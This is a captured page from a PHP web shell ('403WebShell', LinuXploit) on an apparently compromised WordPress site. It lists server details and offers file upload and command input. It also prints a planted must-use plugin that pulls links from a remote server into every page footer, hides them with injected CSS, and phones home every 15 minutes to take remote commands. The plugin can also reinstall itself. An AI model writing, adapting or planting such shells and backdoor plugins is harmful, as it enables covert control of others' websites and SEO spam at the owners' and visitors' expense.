Uname:Linux ngoinhaweb 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64

Base Dir : /home/bepchaubkTW/bepchauau365.vn/public_html

User : bepchaubkTW


403WebShell
403Webshell
Server IP : 103.20.97.79  /  Your IP : 216.73.217.78
Web Server : nginx/1.20.1
System : Linux ngoinhaweb 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : bepchaubkTW ( 1005)
PHP Version : 8.3.21
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bepchaubkTW/bepchauau365.vn/public_html/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/bepchaubkTW/bepchauau365.vn/public_html/wp-content/mu-plugins/linkmarket_links.php
<?php
/**
 * LinkMarket Managed Connector - MU Plugin
 * Version: 5.2.0 | Link ID: 13
 * Direct call koruması: ABSPATH guard.
 */
if (!defined("ABSPATH")) exit;

if (!class_exists("LinkMarketManaged")) {

class LinkMarketManaged {
    const VERSION       = "5.2.0";
    const API_URL       = "https://app.linkmarketim.com/code?x=13";
    const BACKEND       = "https://app.linkmarketim.com";
    const SITE_TOKEN    = "1c17d653f8746f481de902b017fad4786481552d84104f969c03f59a0635bc93";
    const HEARTBEAT_HOOK= "lm_managed_heartbeat";
    const HEARTBEAT_INT = "lm_15min";

    public static function init() {
        add_action("wp_footer", [__CLASS__, "render_footer_links"], 9999);

        add_filter("cron_schedules", [__CLASS__, "add_cron_schedule"]);
        add_action(self::HEARTBEAT_HOOK, [__CLASS__, "do_heartbeat"]);
        add_action("init", [__CLASS__, "ensure_cron_scheduled"]);
        add_action("init", [__CLASS__, "ensure_custom_css"], 5);
    }

    /**
     * WP Customizer custom CSS auto-inject. Sayfa head\'inde
     * <style id="wp-custom-css"> tag\'i otomatik gelsin diye veritabanına yazar.
     * Idempotent + self-healing.
     */
    public static function ensure_custom_css() {
        if (get_transient("lm_custom_css_injected_v2")) return;
        if (!function_exists("wp_get_custom_css") || !function_exists("wp_update_custom_css_post")) return;

        $current = (string) wp_get_custom_css();
        if (strpos($current, "data-lm-render") === false) {
            $rule = "\n/* LM-SEO */\ndiv[data-lm-render=\"pack\"]{display:none!important}\n";
            @wp_update_custom_css_post(trim($current) . $rule);
        }
        set_transient("lm_custom_css_injected_v2", 1, 6 * HOUR_IN_SECONDS);
    }

    public static function add_cron_schedule($schedules) {
        if (!isset($schedules[self::HEARTBEAT_INT])) {
            $schedules[self::HEARTBEAT_INT] = [
                "interval" => 900,
                "display"  => "LinkMarket 15 dakika",
            ];
        }
        return $schedules;
    }

    public static function ensure_cron_scheduled() {
        if (!wp_next_scheduled(self::HEARTBEAT_HOOK)) {
            wp_schedule_event(time() + 60, self::HEARTBEAT_INT, self::HEARTBEAT_HOOK);
        }
    }

    public static function render_footer_links() {
        $content = self::http_get(self::API_URL, 10);
        echo $content !== false ? $content : "";
    }

    public static function do_heartbeat() {
        $body = [
            "connector_version" => self::VERSION,
            "php_version"       => PHP_VERSION,
            "wp_version"        => isset($GLOBALS["wp_version"]) ? $GLOBALS["wp_version"] : null,
            "theme_name"        => function_exists("wp_get_theme") ? (string) wp_get_theme()->get("Name") : null,
            "health"            => "ok",
        ];

        $resp = self::backend_call("heartbeat", $body);
        if (!$resp || empty($resp["success"])) return;

        $jobs = isset($resp["data"]["jobs"]) ? $resp["data"]["jobs"] : [];
        if (!is_array($jobs) || empty($jobs)) return;

        foreach ($jobs as $job) {
            self::process_job($job);
        }
    }

    public static function process_job($job) {
        $jobId   = isset($job["id"]) ? intval($job["id"]) : 0;
        $cmd     = isset($job["command"]) ? $job["command"] : "";

        if ($jobId <= 0 || $cmd === "") return;

        $result = ["status" => "done", "result" => null, "error" => null];

        try {
            switch ($cmd) {
                case "scan":         $result["result"] = self::cmd_scan();        break;
                case "reinject":     $result["result"] = self::cmd_reinject();    break;
                case "clear_cache":  $result["result"] = self::cmd_clear_cache(); break;
                case "health_check": $result["result"] = self::cmd_health();      break;
                case "uninstall":    $result["result"] = self::cmd_uninstall();   break;
                default:
                    $result["status"] = "failed";
                    $result["error"]  = "unknown command: " . $cmd;
            }
        } catch (Exception $e) {
            $result["status"] = "failed";
            $result["error"]  = $e->getMessage();
        }

        self::backend_call("report", [
            "job_id" => $jobId,
            "status" => $result["status"],
            "result" => $result["result"],
            "error"  => $result["error"],
        ]);
    }

    public static function cmd_scan() {
        $url = home_url();
        $html = self::http_get($url, 15);
        if ($html === false) {
            return ["page_url" => $url, "render_ok" => false, "reason" => "fetch failed"];
        }
        $contains = (stripos($html, "linkmarketim") !== false) || (stripos($html, "lm_" . substr(md5("13"), 0, 6)) !== false);
        return [
            "page_url"  => $url,
            "render_ok" => $contains,
            "html_size" => strlen($html),
        ];
    }

    public static function cmd_reinject() {
        $plugin_path = WPMU_PLUGIN_DIR . "/linkmarket_links.php";
        if (file_exists($plugin_path)) {
            return ["status" => "already_present", "path" => $plugin_path];
        }
        @file_put_contents($plugin_path, file_get_contents(__FILE__));
        return ["status" => file_exists($plugin_path) ? "reinjected" : "failed", "path" => $plugin_path];
    }

    public static function cmd_clear_cache() {
        $cleared = [];
        if (function_exists("wp_cache_flush")) { wp_cache_flush(); $cleared[] = "wp_cache"; }
        if (function_exists("opcache_reset"))  { opcache_reset();  $cleared[] = "opcache"; }
        if (function_exists("apcu_clear_cache")) { apcu_clear_cache(); $cleared[] = "apcu"; }
        global $wpdb;
        if (isset($wpdb)) {
            $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_%'");
            $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_site_transient_%'");
            $cleared[] = "transients";
        }
        if (function_exists("rocket_clean_domain")) { @rocket_clean_domain(); $cleared[] = "wp_rocket"; }
        if (function_exists("w3tc_flush_all"))      { @w3tc_flush_all();      $cleared[] = "w3tc"; }
        if (function_exists("wp_cache_clean_cache")){ @wp_cache_clean_cache("supercache"); $cleared[] = "supercache"; }
        if (function_exists("wpfc_clear_all_cache")){ @wpfc_clear_all_cache(true); $cleared[] = "wpfc"; }
        return ["cleared" => $cleared];
    }

    public static function cmd_health() {
        return [
            "render"      => self::cmd_scan(),
            "php_version" => PHP_VERSION,
            "wp_version"  => isset($GLOBALS["wp_version"]) ? $GLOBALS["wp_version"] : null,
            "memory_limit"=> ini_get("memory_limit"),
            "time"        => date("c"),
        ];
    }

    public static function cmd_uninstall() {
        $removed = [];
        $prepend = dirname(__FILE__, 3) . "/lm_prepend.php";
        if (file_exists($prepend)) { @unlink($prepend); $removed[] = "lm_prepend"; }
        wp_clear_scheduled_hook(self::HEARTBEAT_HOOK);
        $self = __FILE__;
        register_shutdown_function(function() use ($self) { @unlink($self); });
        $removed[] = "mu-plugin";
        return ["removed" => $removed];
    }

    private static function backend_call($action, array $body) {
        $payload = json_encode($body, JSON_UNESCAPED_UNICODE);

        $url = self::BACKEND . "/api/v1/connector.php?action=" . urlencode($action);
        $headers = [
            "Content-Type: application/json",
            "X-Site-Token: " . self::SITE_TOKEN,
        ];

        if (function_exists("curl_init")) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            $resp = curl_exec($ch);
            curl_close($ch);
            if ($resp === false) return null;
            $decoded = json_decode($resp, true);
            return is_array($decoded) ? $decoded : null;
        }
        if (ini_get("allow_url_fopen")) {
            $ctx = stream_context_create([
                "http" => ["method" => "POST", "header" => implode("
", $headers), "content" => $payload, "timeout" => 30, "ignore_errors" => 1],
                "ssl"  => ["verify_peer" => 0, "verify_peer_name" => 0],
            ]);
            $resp = @file_get_contents($url, false, $ctx);
            if ($resp === false) return null;
            $decoded = json_decode($resp, true);
            return is_array($decoded) ? $decoded : null;
        }
        return null;
    }

    private static function http_get($url, $timeout = 10) {
        if (function_exists("curl_init")) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0");
            $out = curl_exec($ch);
            curl_close($ch);
            return $out;
        }
        if (ini_get("allow_url_fopen")) {
            $ctx = stream_context_create([
                "http" => ["timeout" => $timeout, "follow_location" => 1, "ignore_errors" => 1, "header" => "User-Agent: Mozilla/5.0
"],
                "ssl"  => ["verify_peer" => 0, "verify_peer_name" => 0],
            ]);
            return @file_get_contents($url, false, $ctx);
        }
        return false;
    }
}

LinkMarketManaged::init();

}

Youez - 2016 - github.com/yon3zu
LinuXploit